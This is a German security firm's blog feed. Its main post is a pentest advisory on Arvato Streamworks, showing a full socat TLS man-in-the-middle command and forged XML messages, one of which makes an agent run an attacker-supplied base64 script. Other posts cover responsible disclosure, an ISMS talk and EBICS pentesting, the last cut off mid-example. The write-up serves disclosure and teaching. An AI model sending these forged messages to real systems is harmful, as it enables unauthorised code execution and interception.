secuvera GmbH – BSI-zertifizierter IT-Sicherheitsdienstleister BSI-Grundschutz und Penetrationstests https://www.secuvera.de Wed, 16 Jan 2019 11:04:54 +0000 de-DE hourly 1 https://wordpress.org/?v=5.0.3 secuvera-SA-2016-01: Mehrere Authentisierungsschwachstellen in Arvato Systems Streamworks https://www.secuvera.de/blog/secuvera-sa-2016-01-mehrere-authentisierungsschwachstellen-in-arvato-systems-streamworks/ Tue, 15 Jan 2019 13:23:21 +0000 https://www.secuvera.de/?p=3410 weiterlesen ...]]> …oder: Die Anfänge von „Rise of the Machines“

Im Mai des Jahres 2016 (!) durfte ich bei einem unserer Kunden eine Lösung zur Automatisierung von Prozessabläufen über Systemgrenzen hinweg im Rahmen eines Penetrationstests prüfen. Dort sind mir dann mehrere Schwachstellen (siehe Advisory) aufgefallen, mit denen ich schlussendlich in die gesteuerten Systemabläufe eingreifen und eigenen Code ausführen konnte. Das war die Initialzündung für die Forschung nach Schwachstellen in Maschine-zu-Maschine-Kommunikation im Rahmen unserer Labdays. Die Fragestellung war „was ist, wenn eine Maschine die Stimme erhebt und andere Maschinen unter seine Kontrolle bringt“ – Titel „Rise of the Machines“ (und nein, es wurde nicht zu viel Terminator 3 in der Vergangenheit gesehen 😉 )

Der Kunde hat mir dankenswerterweise erlaubt die Schwächen mittels Responsible Disclosure an den Hersteller zu melden. Aufgrund unserer Responsible Disclosure Policy und der Schwierigkeit, die gefundenen Schwächen zu beseitigen, hat es jedoch ein paar Monate Jahre gedauert, bis ich diese Schwächen veröffentlichen konnte. Daher gab es zwischenzeitlich schon andere Veröffentlichungen auf das Thema bezogen.

Stream…was?!

Die untersuchte Lösung „Streamworks“ aus dem Hause Arvato Systems besteht aus einer Steuerungskomponente mit Anwendung zur Verwaltung (nennen wir es „Mutterschiff“) und einem Sklaven Agenten, der auf einem Arbeitsknecht Server installiert wird. Zwischen den Komponenten wird TLS gesprochen und seinerzeit zur beiderseitigen Authentisierung ein vom Hersteller ausgestelltes X.509-Zertifikat zur Authentisierung verwendet. Das Zertifikat wurde vom Hersteller ausgestellt, weil es gleichzeitig die Softwarelizenz darstellte.

Schlechtes Zertifikatsmanegement als Einstieg

Ich habe die Systeme (Mutterschiff und einen Testagenten) abgetastet und auf dem Mutterschiff eine Netzwerkfreigabe mit namen „unattendedAgentInstallation“ identifiziert. Leider hat man der Sicherheitseinstellung dieses Shares keinerlei Aufmerksamkeit geschenkt, denn: diese war für alle Domänenbenutzer lesend im Zugriff. Da für ein anderes Prüfgebiet eine Domänenbenutzerkennung übergeben wurde, konnte ich auf die Freigabe zugreifen werden. Über die Netzwerkfreigabe wurden

  • das Kundenindividuelle Zertifikat des Herstellers nebst privatem Schlüssel und
  • die Installationsdateien für Agent und Server
  • Handbücher

bereitgestellt. Siehe nachfolgendes Bild:

Screenshot der Dateifreigabe

Nicht falsch verstehen, das ist kein Problem des Herstellers, sondern wohl ein Flüchtigkeitsfehler beim Kunden, der die Freigabe erstellt hat.

Es stellte sich bei genauerer Betrachtung heraus, dass der private Schlüssel nicht extra kryptografisch gesichert war. Daher und weil er auf einem lesbaren Share für viele Netzwerkteilnehmer lesbar abgelegt ist, kann dieser also (spätestens jetzt) als kompromittiert angesehen werden. Diesen Faux-Pas muss sich der Kunde selbst zugestehen.

Der BSI Grundschutz, so störrisch dieser manchmal auch sein mag, gibt da ein zwei Tipps wie man es besser gemacht hätte. Aber nun ist das Kind eben in den Brunnen gefallen.

Die Krux an der Sache: Wenn alle Agenten aufgrund der Lizensierung (entnommen aus dem Handbuch) dasselbe Schlüsselmaterial verwenden, dann:

  • Muss der Kunde jetzt beim Hersteller ein neues Zertifikat beantragen und das dann
  • auf ALLEN Agenten (~100) und dem Mutterschiff mit der Hand am Arm austauschen.

Das riecht nach Arbeit für den Kunden und den Hersteller. Und nach meiner ersten gefundenen Schwäche für beide. Doch da geht bestimmt noch mehr.

Der böse Mann in der Mitte

Mit dem Schlüsselmaterial und etwas Arpspoofing konnte ich mich also schnell als Man-in-the-Middle zwischen einem Test-Agenten und dem Mutterschiff positionieren. Die Kommunikation wurde dabei bidirektional über einen lokalen Port umgeleitet. Ohne Schlüsselmaterial rochen beide Kommunikationspartner sofort den Braten. Schlimm genug, dass Man-in-the-Middle ging. Fairerweise muss man aber sagen, dass der Hersteller wenig dafür kann, denn das ist ein Thema des Netzwerks.

Testaufbau: Man-in-the-Middle

Beim Analysieren der Kommunikation erwies sich neben „Wireshark“ auch das Werkzeug „socat“ als sehr nützlich, um einfach mal den Traffic aufzubrechen und den Inhalt mitzuschneiden. Das Werkzeug macht nichts anderes, als Streams mit einander zu verbinden. Das können auch zwei SSL/TLS-Verbindungen sein.

# Lausche auf einem Port mit OpenSSL und stelle eine OpenSSL-Verbindung zum Ziel her, wenn eine Verbindung zu diesem Port hergestellt wurde und leite alle Ausgaben in eine temporäre Datei um
socat -v OPENSSL-LISTEN:localhost:<PORTNUMMER>,cipher=HIGH,method=<SSL23|TLS1|TLS1.1|TLS1.2>,certificate=<pfadZumZert>,key=<pfadZumKey>,verify=0 OPENSSL:<zieladresse>:<zielport>,reuseaddr,fork,method=<SSL2|SSL3|TLS1|TLS1.1|TLS1.2>,cipher=HIGH,verify=0[,certificate=<pfadZumAuthZert>,key=<pfadZumAuthKey>] 2> /tmp/Trafficlog.log

Siehe da, die Kommunikation funktioniert (in beide Richtungen) weiterhin und es werden Nachrichten protokolliert.

Ich bin drin

…im Kommunikationskanal. Also mal das gesprochene Protokoll analysieren. Zum Glück wird menschenlesbares XML gesprochen, sodass die Analyse der Nachrichten vergleichsweise leicht fällt. Jobs anlegen, Credentials übergeben, Jobs ausführen, Status abfragen, Protokolle senden – eigentlich ganz einfach.

Falsche Nachricht an das Mutterschiff

Wie steht es denn um die Prozesslogik im Mutterschiff? Werden Nachrichten validiert und auf Echtheit geprüft?

Also mal folgende Nachricht vom Agent an das Mutterschiff im Auftrag eines legitimen Clients gesendet – ohne Spoofing und ohne Mann in der Mitte zu sein

(Daten in den eckigen Klammern durch valide Werte ersetzen!)

<AgentNotifyStarted ProcessId="7044" AgentVersion="3.1.36"> 
<ComHeader Version="1.0">
<MandatorCode>0100</MandatorCode>
<MsgCreateTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].745Z</MsgCreateTime>
<MsgSendTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].963Z</MsgSendTime>
<SourceEndpoint Address="0.0.0.0" Port="30000" SysId="[Hostname of legitimate Client]" />
<DestinationEndpoint Address="[FQDN of Processing server]" Port="9600" SysId="[FQDN of Processing server]" />
<Sequence>0</Sequence>
</ComHeader>
<SystemInformation>
<OsType>Windows</OsType>
<OsInfo>Pentest Windows!</OsInfo>
<OsLocale>de_DE.windows-1252</OsLocale>
</SystemInformation>
<KnownJobsList> </KnownJobsList>
<FileTransferOptions Mode="ALL" BlockSize="0" />
<Cli CliOptions="Enabled" />
</AgentNotifyStarted>

Beim Admin nachgefragt und folgenden Screenshot bekommen

Ergebnis in der Steuerung

Problem 2: Das Mutterschiff prüft nicht, ob die Nachricht wirklich vom Agenten kommt.

Let’s do some (bad) work

Also schauen wir mal, ob der Agent auch Befehle von einem anderen Agent / Fake-Mutterschiff entgegenen nimmt. Mit der folgenden Nachricht an Port 30000 des Zielsystems wird das Programm „Notepad.exe“ gestartet.

<ServerRequestStartJob>
<ComHeader Version="0.1">
<MandatorCode>0100</MandatorCode>
<MsgCreateTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].1061367Z</MsgCreateTime>
<MsgSendTime>[YYYY]-[MM]-[DD]T[HH]:[MM]:[SS].1061367Z</MsgSendTime>
<SourceEndpoint Address="[FQDN of processing server]" Port="9600" SysId="[FQDN of processing server]" />
<DestinationEndpoint Address="[IP of Server with agent installed]" Port="30000" SysId="[Hostname of server with agent installed]" />
<Sequence>1</Sequence>
<MandatorId>0100</MandatorId>
</ComHeader>
<JobStartInfo>
<JobInfo ServerJobId="118291965_1" ExecutionNo="1" PlanDate="[YYYY]-[MM]-[DD]" StreamName="[NewStreamName]" JobName="[NewJobName]" Run="1" />
<UserName>[Username under which the agent should run the Script, e.g. LOCAL\System]</UserName>
<Password>[Add Password of the user if needed]</Password>
<UseUserProfile>true</UseUserProfile>
<MainScript>[base64-encoded Script code, e.g. "cmVtDQpDOlxXaW5kb3dzXE5vdGVwYWQuZXhl" to start a notepad.exe on a Windows Host]</MainScript>
<KeepJoblogDays>10</KeepJoblogDays>
</JobStartInfo>
</ServerRequestStartJob>

Ich hab das nicht als Lokal\System Benutzer gemacht, sondern habe einen Domänen-Jobbenutzer des Kunden verwendet. Siehe Da:

Taskmanager auf Testagenten

Es wird also nicht verifiziert, ob der Befehl wirklich vom Mutterschiff kommt –> Problem 3

Da blutet mir das Herz…

… wenn ich Dienste mit verwundbaren Komponenten im Einsatz sehe. Nicht ohne Grund ist der Einsatz von verwundbarer Software(-Komponenten) bereits seit 2013 und auch in 2017 (beidesmal als A9) in den 10 häufigsten Risiken von Webanwendungen des Open Web Application Security Project (OWASP Top 10) vertreten.

Der Pentest war in Q2/2016, die (Agenten-)Software halbwegs aktuell – also das Release des Herstellers. Was aber, wenn die (Agenten-)Software auf Drittanbieter-Komponenten mit bekannten Schwächen (die schon 2014 entdeckt wurden!) aufbaut?

Heartbleed (eine der ersten Schwächen die mit eigener Webseite und fancy Logo publik gemacht wurden). Man kann als anonymer Angreifer Daten aus dem Speicher des Servers auslesen, der OpenSSL vor Version 1.0.1g mit aktiver Heartbeat-Extension einsetzt. Die gängigen Tools haben auch sofort angeschlagen.

Also mal zur Verifikation der Meldung den Burp mit der Erweiterung Heartbleed eingesetzt. Das Ergebnis sah bei den Agenten und beim Mutterschiff in etwa so aus:

Heartbleed mit Burp Suite Pro Addon ausgenutzt

Also ist die Verwendung von Software mit bekannten Schwächen das 4. Problem des Herstellers, auf das ich stieß.

Responsible Disclosure ain’t easy

Das Thema hab ich in einem separaten Beitrag näher beleuchtet.

Bezogen auf die Probleme oben war mir auch schon klar, dass für den Hersteller es nicht einfach werden wird. So vergingen aber mitunter schon ein paar viele Monate, bis das Problem behoben, der Fix veröffentlicht und unter die Anwender gebracht wurde. Auf die Kommunikation dabei möchte ich hier nicht näher eingehen.

Fazit

Es waren viele Fehler, die letztlich dazu führten, dass die Schwächen der Lösung ans Tageslicht kamen.

Zertifikate bzw. der dazugehörige private Schlüssel sollte nie ungesichert irgendwo abgelegt werden.

Zertifikate sollten individuell je System/Komponente ausgestellt und bei Verbindungsaufbau überprüft werden.

Die Authentizität der Nachrichten muss anhand mehrerer Faktoren durch jeden Kommunikationspartner überprüft werden: passt der Inhalt zum Sender bzw. der Sender zum Inhalt?

Hersteller müssen verwendete Drittanbieterkomponenten auf aktuellem Stand halten, um deren Schwächen nicht zu den eigenen Schwächen zu machen.

]]>
Responsible Disclosure ist nicht immer leicht https://www.secuvera.de/blog/responsible-disclosure-ist-nicht-immer-leicht/ Tue, 15 Jan 2019 11:19:33 +0000 https://www.secuvera.de/?p=3432 weiterlesen ...]]> Das Entdecken von neuen, unbekannten Schwachstellen macht Spaß, keine Frage. Eher unspaßig ist aber, was man dann als guter Pentester Mensch mit den gewonnenen Informationen anstellt. In diesem Blogpost beleuchte ich Probleme in der Kommunikation zwischen Pentester und Softwarehersteller und möchte auch ein paar Tipps an die Hand geben – für beide Seiten.

Im Rahmen unserer Labdays oder eines Pentest-Projekts kommt es schon mal häufiger vor, dass wir auf bis dato unbekannte Schwächen treffen. Die möchten wir dann gerne, sofern es auch der Kunde erlaubt, an die Hersteller melden und später dafür im Gegenzug Lobpreis und Ehr eine Veröffentlichung machen, um unsere Expertise zu demonstrieren.

Wir haben im Melden und Veröffentlichen etwas Übung und uns auch selbst eine Richtlinie zur verantwortungsvollen Veröffentlichung auferlegt:

Wir möchten keine Schwächen veröffentlichen, für die es keinen Patch gibt*. Und wenn es einen Patch gibt, dann sollen Admins Zeit zum Einspielen haben.

*Ausnahme: der Hersteller/Entwickler erkennt das Problem nicht an oder möchte es nicht beheben.

Die Kontaktaufnahme

Wenn erst mal eine Schwäche gefunden ist, dann möchte man sie auch vertraulich an die richtige Stelle melden. Folgende Fragen gilt es daher zu klären:

  • An wen wenden?
  • Wie macht man der-/demjenigen am anderen Ende klar, dass man nichts verkaufen und nur Gutes tun mag?
  • Wie die Informationen sicher (verschlüsselt) von mir zum Empfänger bringen?

Viele Projekte/Hersteller/Entwickler haben dafür kein eigenes Kontaktformular oder keine eigene Kontaktadresse und kein öffentliches Schlüsselmaterial.

Manch eine/r möchte am liebsten aufgeben, weil es sehr mühsam sein kann, sein Problem immer und immer wieder zu schildern, bis man an der richtigen Stelle ist und sich so bis zum richtigen Kontakt durchzufragen. Das ist vielleicht der Ursprung von 0-days.

Der Wissenstransfer

Hat man den richtigen Ansprechpartner gefunden, so gilt es, diesem alle Informationen zur Verfügung zu stellen. Hier packen wir meist alle Protokolle oder Handlungsanweisungen in Form von neutralen Textdateien zusammen.

Beim Transfer sprechen wir zwar Klartext 🙂 bei der Übertragung wählen wir jedoch nie Klartext-Protokolle, sondern möglichst welche mit Ende-zu-Ende-Verschlüsselung. Der Austausch der Dateien kann dabei auf folgende Arten geschehen:

  • per PGP- oder S/MIME verschlüsselte E-Mail*
  • per (secuvera) Transferplattform
  • per verschlüsseltem ZIP-Archiv (AES) via unverschlüsselter E-Mail**

* Nicht jede/r Gegenüber hat das im Einsatz bzw. verfügt über entsprechende Zertifikate.

** Der Austausch des Archivkennworts muss dabei über einen anderen Kanal (z. B. Telefon) erfolgen

Die Absicht zur Veröffentlichung

Niemand hat die Absicht, eine Mauer zu errichten!

Bei anderen Pentestern ist es schon vorgekommen, dass beim Anklang des Begriffs „Responsible Disclosure“ oder „Veröffentlichung“ durch das Gegenüber nach kurzer Verschnaufpause oder längerer Analysephase was von „Rechtsabteilung“ und „Verschwiegenheitsverpflichtung“ genannt wird. Kein feiner Zug in meinen Augen. Kam bei mir zum Glück auch noch nicht vor.

Liebe Hersteller, wir Pentester wollen doch damit keinen Streit vom Zaun brechen und auch keine vorschnelle Information öffentlich machen. Denn damit riskiert man ja schließlich, dass Nutzer der verwundbaren Software plötzlich mit heruntergelassenen Hosen nicht behobenen Schwachstellen dastehen. Wir wollen lediglich wenn Gras über die Sache gewachsen ist nach einer beiderseits als angemessen bewerteten Zeit über unseren Fund erzählen. Schließlich hat man sich die Mühe gemacht und Zeit investiert und Interessenten fragen gar in Angebotssituationen nach Veröffentlichungen von Schwachstellen bzw. Beispielen.

Den Pentester einbinden

Hat der Pentester ein Problem gemeldet, ist es nur fair, ihn auch über den weiteren Verlauf bis hin zur Behebung in Kenntnis zu setzen. Denn danach richtet sich ja schließlich die Zeitachse der Veröffentlichung.

Nicht selten kommt es vor, dass vermeintlich selbst entworfene Behebungen das Problem verschlimmbessern, weil das Problem nicht richtig verstanden wurde. Warum dann nicht jemanden Fragen, der sich vielleicht etwas besser damit auskennt? Man kann daher gerne auch die Chance wahr nehmen den Pentester um Rat zu fragen und in Ihn dadurch gleichzeitig in den Prozess einbinden.

Man muss dazu übrigens kein Projekt mit dem Pentster ins Leben rufen und dessen Leistungen einkaufen. Das wäre ja auch irgendwie unlauter, wenn der Pentester dadurch zu einem Auftrag gelangen würde.* Solange es sich um überschaubaren Zeitaufwand von wenigen Minuten für den Pentester handelt, ist dieser sicher gerne bereit, sich zu beteiligen.

* Im Umkehrschluss kann es vielleicht doch Sinn machen, zu einem späteren Zeitpunkt die betreffende Software/Komponente durch den meldenden Pentester im Rahmen eines Penetrationstestprojekts prüfen zu lassen. Denn schließlich ist ihr/ihm der Untersuchungsgegenstand bereits bekannt und es könnten sich dadurch Synergieeffekte ergeben

Den Bogen nicht überspannen

Man wartet nicht gerade auf Probleme, um diese zu lösen. Daher ist es weit verbreitet, solche auftretenden Sicherheitsprobleme auf die lange Bank zu schieben.

Die Ausreden Erklärungen, die manch ein Hersteller ins Feld führt, können mannigfaltig sein:

  • Kunden möchten nur noch zwei Releases im Jahr erhalten, da das Einspielen der Patches Downtime bedeutet und Manpower bindet (oh RLY?!)
  • Ach und der Releaseplan ist fest und das Problem muss hinten anstehen (und das in Zeiten agiler Entwicklung 🙂 )

Been there, done that. Sicherheitsprobleme sollten ernst genommen und außer der Reihe so schnell es geht (aber sorgfältig) behoben werden.

Pentester sind nicht blöd z. T. auch Entwickler oder haben langjährige Erfahrung, wie lange es in etwa brauchen kann, um eine Schwachstelle zu beheben. Der Zeitplan bis zum Disclosure ist nie willkürlich gewählt. Und er kann mit triftigen Gründen sogar verlängert werden. Wo wir wieder beim Stichwort „den Pentester einbinden“ wären.

Die Nutzer informieren

Aufgabe des Herstellers ist es, zu gegebener Zeit die betroffenen über das Problem zu unterrichten und die Behebung in Aussicht zu stellen. Klar ist das kein Spaß, einen Fehler zuzugeben, aber solange Software von Menschen entwickelt wird, so lange kann sie nunmal Fehler haben. Schweigen macht es nur noch schlimmer. Je nach Art der Schwachstelle besteht vielleicht sogar eine Pflicht zum Informieren von (Aufsichts)behörden.

Danke sagen

Man darf sich gerne beim Pentester (und dieser beim Hersteller!) bedanken, nachdem man ein Problem bzw. dessen Meldung und Problembehebung überstanden hat. Gerne auch öffentlich, sofern beide zustimmen.

Es dem Pentester leichter machen

Das Problem scheinen viele zu haben, die sich mit Bug-Hunting und Schwachstellensuche befassen.

Wie also das Melden von Schwachstellen vereinfachen oder in geordnete Bahnen lenken? Gibts da nicht was von Ratiopharm?!

Dabei bin ich auf ein Projekt gestoßen, das dazu einen Vorschlag in Form eines RFCs ( RFC5785 ) macht.

Die Idee ist standardmäßig eine Textdatei, in der die Angaben zum Melden von Sicherheitsproblemen einer Webseite / eines Produkts eines Herstellers an einem standardisierten Ort ( z. B. https://example.com/product/.well_known/security.txt ) zu hinterlegen.

Darin sind dann Kontaktinformationen, Schlüsselmaterial, Richtlinien und Danksagungen enthalten. Im RFC wird folgendes Beispiel genannt:

# Our security address    
Contact: mailto:security@example.com
# Our PGP key
Encryption: https://example.com/pgp-key.txt
# Our security policy
Policy: https://example.com/security-policy.html
# Our security acknowledgments page
Acknowledgments: https://example.com/hall-of-fame.html
# Verify this security.txt file
Signature: https://example.com/.well-known/security.txt.sig

Kann man jetzt dafür oder dagegen sein. Bin mir auch nicht sicher, ob sich das durchsetzen wird und ob es umgesetzt werden wird. Aber das würde den Disclosure Prozess vielleicht doch etwas vereinfachen.

Fazit

Nichts ist einfach.

Hersteller sollten sich in diesen Zeiten gedanken über Schwächen und Meldewege machen.

Je einfacher einem Pentester/Forscher das Melden von Sicherheitsschwachstellen gemacht wird, desto höher ist die Wahrscheinlichkeit, dass Schwachstellen nach dem Fund auch tatsächlich an den Hersteller vorab einer Veröffentlichung auf einschlägigen Mailinglisten/Medien gemeldet werden.

(White-Hat-)Pentester möchten nichts böses. Sie wollen nur auf Probleme aufmerksam machen und zu gegebener Zeit nach der Problembewältigung etwas Anerkennung für Ihre Mühen.

Das führt beiderseits langfristig zu positiven Erfahrungen. Und die (Produkt-)Sicherheit wird auch nebenbei gesteigert. Es klingt so einfach und erscheint doch manchmal sehr schwer.

]]>
Vortrag „Aufbau von ISMS nach ISO 27001 in KMU“ https://www.secuvera.de/aktuelles/vortrag-aufbau-von-isms-nach-iso-27001-in-kmu/ Tue, 08 Jan 2019 07:16:04 +0000 https://www.secuvera.de/?p=3373 weiterlesen ...]]>

Im Rahmen der Konferenz verinice.XP berichtet Björn Lemberg, ISO 27001 Auditor, über unsere Erfahrungen mit dem Aufbau von ISMS nach ISO 27001 in KMU. Er stellt wichtige Erfolgsfaktoren vor und gibt praktische Tipps zur Einführung.

Wir werden regelmäßig von kleinen und mittleren Unternehmen (KMU) kontaktiert, welche sich mit der Entscheidung auseinandersetzen, ein Informationssicherheitsmanagementsystem (ISMS) gemäß ISO27001 einzuführen.
Wir verstehen, dass der Einstieg in ein formalen Kriterien genügendes Informationssicherheitsmanagement für viele KMU eine neue Herausforderung darstellt. Unsere Erfahrung zeigt, dass die Einführung und Entwicklung eines ISMS bis hin zur Zertifizierungsreife für KMU eine strategische Herausforderung darstellt, die nicht unterschätzt werden darf. Insbesondere gilt dies dann, wenn eine nachhaltige Lösung angestrebt wird.
Auf der anderen Seite erleben wir in der Praxis, dass KMU sehr erfolgreich Informationssicherheits-managementsysteme einführen, betreiben und kontinuierlich verbessern. Gerade kleinere Unternehmen können mit Hilfe der Steuerungsprozesse eines ISMS ihre Informationssicherheitsziele gezielt verfolgen und deren Erreichung sichtbar machen. Nach erfolgreicher Zertifizierung sehen unsere Kunden erfahrungsgemäß das „Projekt ISMS“ als sehr positiv für die Gesamtentwicklung ihres Unternehmens an und leben dessen Prozesse im Alltag.

Haben Sie Fragen zur Einführung eines ISMS? Sprechen Sie uns gerne jederzeit an.

]]>
Penetrationstests von EBICS Schnittstellen und Webservices https://www.secuvera.de/blog/penetrationstests-von-ebics-schnittstellen-und-webservices/ Fri, 04 Jan 2019 15:56:07 +0000 https://www.secuvera.de/?p=3380 Electronic Banking Internet Communication Standard (=EBICS) ist ein in Deutschland von der deutschen Kreditwirtschaft definierter, multibankfähiger Standard zur Übertragung von Zahlungsverkehrsdaten über das Internet. Er hat den veralteten BCS-Standard abgelöst. Stark vereinfacht gesprochen werden dabei XML-Nachrichten definiert, die verschlüsselt und signiert meist über eine per TLS gesicherte Webservice-Schnittstelle zu den Banksystemen übertragen werden.

Nahezu jede Bank in Deutschland bietet eine über das Internet für jedermann erreichbare Schnittstelle nach diesem Standard an, um den Zahlungsverkehr über das Internet abwickeln zu können. Folglich unterliegen auch diese Schnittstellen der Regulierung und es müssen in regelmäßigen Abständen Sicherheitsüberprüfungen, z. B. in Form eines Penetrationstests, durchgeführt werden, um Schwachstellen und damit verbundene Risiken zu identifizieren…

Das Problem beim Penetrationstest von EBICS Schnittstellen

Gängige Penetrationstestwerkzeuge beherrschen die zum Einsatz kommenden Protokolle HTTP und TLS, den Umgang mit XML-Daten und Webservice-Nachrichten aus dem FF. Der aus Pentest-Sicht spezielle EBICS-Standard, der Signatur und Chiffrierung der Nachrichten einsetzt, um die Authentizität und Vertraulichkeit der Nachrichten von Ende zu Ende sicherstellen soll, stellt die Werkzeuge bzw. deren Anwender jedoch vor eine Herausforderung: Meist werden Anfragen an den Webservice nur dann weiter bzw. durch nachgelagerte Systeme verarbeitet, wenn diese dem Standard entsprechen und auch korrekt signiert und chiffriert werden. Nutzt man stur die Standardwerkzeuge, die diese speziellen EBICS-Mechanismen nicht beherrschen, kratzt man bei Pentests folglich auch nur mehr oder weniger an der Oberfläche und dringt nicht in tiefere Ebenen, sprich zu den nachgelagerten Systemen, vor.Im Internet selbst oder bei den Banken gibt es entsprechende Software, sogenannte EBICS Clients, die sich zur Kommunikation mit den angebotenen Schnittstellen nutzen lassen. In einer Benutzeroberfläche werden Daten eingegeben und diese dann durch den Client in ordentliche Nachrichten verpackt und abgesendet (siehe Beispiel weiter unten).

Für einen Penetrationstest ist das nur bedingt brauchbar, da man den Client von Hand bedienen muss, um so die unterschiedlichen Vektoren wie oben ausgeführt zu prüfen. Das bedeutet erheblichen manuellen Prüfaufwand, der jedoch nie eine vergleichbare Prüftiefe wie automatisierte Prüfungen auf Vektoren, z. B. bei SQL-Injection, erreichen kann.. Manche Penetrationstester werden jetzt an der Stelle sicher denken, dass sie stattdessen die Ausgaben des Clients mit einem Proxy-Dienst abfangen und durch dessen Scanner automatisiert prüfen lassen. Aber da war ja noch was: die Signatur – die lässt sich damit nicht korrekt herstellen. Ein fiktives Beispiel: Nutzer A tätigt eine SEPA-Überweisung (CCT). Dazu muss aus technischer Sicht zunächst die Transaktion initialisiert werden. Aus den gängigen EBICS-Clients fällt dann eine HTTP-Anfrage heraus, die verschlüsselte und signierte XML-Felder enthält (Beispiele sind aus Übersichtlichkeitsgründen gekürzt und aus Vertraulichkeitsgründen verfremdet).

<ebicsRequest xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns="urn:org:ebics:H004" Version="H004" Revision="1">
 <header authenticate="true">
  <static>
   <HostID>TEST</HostID>
   <Nonce>9bc9cc0807775fb194201aacdd818ed4</Nonce>
   <Timestamp>2017-01-25T09:47:47Z</Timestamp>
   <PartnerID>SECUVERA</PartnerID>
   <UserID>NutzerA</UserID>
   <Product Language="de">Test</Product>
   <OrderDetails>
    <OrderType>CCT</OrderType>
    <OrderAttribute>OZHNN</OrderAttribute>
    <StandardOrderParams/>
   </OrderDetails>
   <BankPubKeyDigests>
    <Authentication Version="X002" Algorithm="http://www.w3.org/2001/04/xmlenc#sha256">lTqCUdqqzUptaWm0W6uFivg17hO/rdBwT33RxG1z4+A=</Authentication>
    <Encryption Version="E002" Algorithm="http://www.w3.org/2001/04/xmlenc#sha256">sWBkavMea8Knsg20sJvLE9eLtOzAZ+yOyY0d1O+u7Zc=</Encryption>
   </BankPubKeyDigests>
   <SecurityMedium>0000</SecurityMedium>
   <NumSegments>1</NumSegments>
  </static>
  <mutable>
   <TransactionPhase>Initialisation</TransactionPhase>
  </mutable>
 </header>
 <AuthSignature>
  <ds:SignedInfo>
   <ds:CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
   <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
   <ds:Reference URI="#xpointer(//*[@authenticate='true'])">
    <ds:Transforms>
     <ds:Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
    </ds:Transforms>
    <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
    <ds:DigestValue>y/82MLmKOcKIQ+k/nplva0gC6/BFwfv/9/KwgokaNrI=</ds:DigestValue>
   </ds:Reference>
  </ds:SignedInfo>
  <ds:SignatureValue>GZE9oHqBn2wLBeVPRQu1y0qlYVMijYqtCnLRuss2ekmgCrEKxrbdfuGD/ErbmC6G+ih63kqcECVvO6ZlgwgUuqRP2Boy4qCPb4ZE37KV33Xuw+[…]</ds:SignatureValue>
 </AuthSignature>
 <body>
  <DataTransfer>
   <DataEncryptionInfo authenticate="true">
    <EncryptionPubKeyDigest Version="E002" Algorithm="http://www.w3.org/2001/04/xmlenc#sha256">XXXkavMea8Knsg20sJvLE9eLtOzAZ+yOyY0d1O+u7Yc=</EncryptionPubKeyDigest>
    <TransactionKey>XXX3SICk9OHyciCRHCkYKhLCDd04pPCt55N1xQsGMj9cfPNTzg/CK5tmOl9Ms2g8zP+IKaA+vL4gw2tmRPKq0x06pd5IiBlSwQbAlfU3oML63XG2NCIOpTfFG8UUoR13Xfv8ZlN0rAfT4qow4ip+WtU7EXcG5apiF9dJROP8Xaxh5hkWl92ZPtQ+/[…]TransactionKey>
   </DataEncryptionInfo>
   <SignatureData authenticate="true">XXX6QTdMdG8kmrdDBSnH3J1bgrJZCJquPWkiofu3MSZsdHCYjtGCdMexeBRTQC6eS+wy++0FtBQwsf4g1zGKMxSmEKLTv9X8b5a0bLB+dnJF+G+0NQnvUvELEyjeyNKyzria/ui/4KkC0eyTT5vOrFDG9o5L6wsX6fr9ucPaA3GJPTSS4Hz9lDMfQQbNXuFcmfi/[…]</SignatureData>
  </DataTransfer>
 </body>
</ebicsRequest>

Soweit so gut. In der darauf folgenden Transaktionsphase wird dann der Auftrag übertragen – wiederum codiert:

<ebicsRequest xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns="urn:org:ebics:H004" Version="H004" Revision="1">
 <header authenticate="true">
  <static>
   <HostID>TEST</HostID>
   <TransactionID>2EEACFA61F73BE2FFE4080E2AC871B3E</TransactionID>
  </static>
  <mutable>
   <TransactionPhase>Transfer</TransactionPhase>
   <SegmentNumber lastSegment="true">1</SegmentNumber>
  </mutable>
 </header>
 <AuthSignature>
  <ds:SignedInfo>
   <ds:CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
   <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
   <ds:Reference URI="#xpointer(//*[@authenticate='true'])">
    <ds:Transforms>
     <ds:Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
    </ds:Transforms>
    <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
    <ds:DigestValue>7XXX6rcYTesgtfjHYcd6kwA1I8kk+OSHyMc5pJKDEg8=</ds:DigestValue>
   </ds:Reference>
  </ds:SignedInfo>
  <ds:SignatureValue>m5/nFXXX8XkuNn8OMzaz2/Q/DlLGmz2B7qAVeuB1URzOjDnTqyaVG5+7P/JFoj4hXyR2Fveq9z3F4p3zCbLkZ5emGvXrkH2HKoez/ol1USRSh7/uV0HmSz5Tj9eQdmImSDVYlpooM9wob[…]<ds:SignatureValue>
 </AuthSignature>
 <body>
  <DataTransfer>
